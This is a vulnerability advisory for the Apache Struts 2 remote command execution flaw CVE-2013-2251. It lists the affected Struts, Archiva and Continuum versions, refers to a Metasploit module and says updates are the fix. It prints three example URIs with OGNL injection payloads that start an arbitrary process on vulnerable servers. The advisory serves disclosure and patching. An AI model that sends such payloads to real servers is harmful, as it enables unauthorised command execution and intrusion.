Apache Struts CVE-2013-2251 Multiple Remote Command Execution Vulnerabilities

Bugtraq ID:	61189
Class:	Input Validation Error
CVE:	CVE-2013-2251
Remote:	Yes
Local:	No
Published:	Jul 16 2013 12:00AM
Updated:	Aug 11 2015 08:01PM
Credit:	Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
Vulnerable:	IBM Storwize V7000 Unified 1.3.1.0 IBM Storwize V7000 Unified 1.3.0.5 IBM Storwize V7000 Unified 1.3.0.0 Apache Software Foundation Struts 2.2.3 Apache Software Foundation Struts 2.2 Apache Software Foundation Struts 2.1.6 Apache Software Foundation Struts 2.1.5 Apache Software Foundation Struts 2.1.2 Apache Software Foundation Struts 2.1.1 Apache Software Foundation Struts 2.1.1 Apache Software Foundation Struts 2.1 Apache Software Foundation Struts 2.0.14 Apache Software Foundation Struts 2.0.12 Apache Software Foundation Struts 2.0.11 Apache Software Foundation Struts 2.0.10 Apache Software Foundation Struts 2.0.9 Apache Software Foundation Struts 2.0.8 Apache Software Foundation Struts 2.0.7 Apache Software Foundation Struts 2.0.6 Apache Software Foundation Struts 2.0.5 Apache Software Foundation Struts 2.0.4 Apache Software Foundation Struts 2.0.3 Apache Software Foundation Struts 2.0.2 Apache Software Foundation Struts 2.0.1 Apache Software Foundation Struts 2.0 Apache Software Foundation Struts 2.3.1.2 Apache Software Foundation Struts 2.3.1.1 Apache Software Foundation Struts 2.2.3.1 Apache Software Foundation Struts 2.1.8 Apache Software Foundation Struts 2.1.4 Apache Software Foundation Struts 2.1.3 Apache Software Foundation Struts 2.0.13 Apache Software Foundation Continuum 1.4 Apache Software Foundation Continuum 1.3.7 Apache Software Foundation Continuum 1.3.6 Apache Software Foundation Archiva 1.3.4 Apache Software Foundation Archiva 1.3.3 Apache Software Foundation Archiva 1.3.2 Apache Software Foundation Archiva 1.3.1 Apache Software Foundation Archiva 1.2.2 Apache Software Foundation Archiva 1.3.5 Apache Software Foundation Archiva 1.3 Apache Software Foundation Archiva 1.2
Not Vulnerable:

Apache Struts CVE-2013-2251 Multiple Remote Command Execution Vulnerabilities

Apache Struts is prone to multiple remote command-execution vulnerabilities.

Successful exploits will allow remote attackers to execute arbitrary commands within the context of the affected application.

Apache Struts 2.0.0 prior to 2.3.15.1 are vulnerable.

Apache Struts CVE-2013-2251 Multiple Remote Command Execution Vulnerabilities

An attacker can exploit these issues using a web browser.

Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product.

The following example URIs and a Metasploit exploit module are available:

http://www.example.com/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://www.example.com/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://www.example.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

• /data/vulnerabilities/exploits/61189.rb

Apache Struts CVE-2013-2251 Multiple Remote Command Execution Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

Apache Struts CVE-2013-2251 Multiple Remote Command Execution Vulnerabilities

References:

• Apache Archiva Homepage (Apache Software Foundation)
  
• Archiva Security (Apache)
  
• Continuum Security Vulnerabilities (Apache Software Foundation)
  
• Struts 2 Homepage (Apache Software Foundation)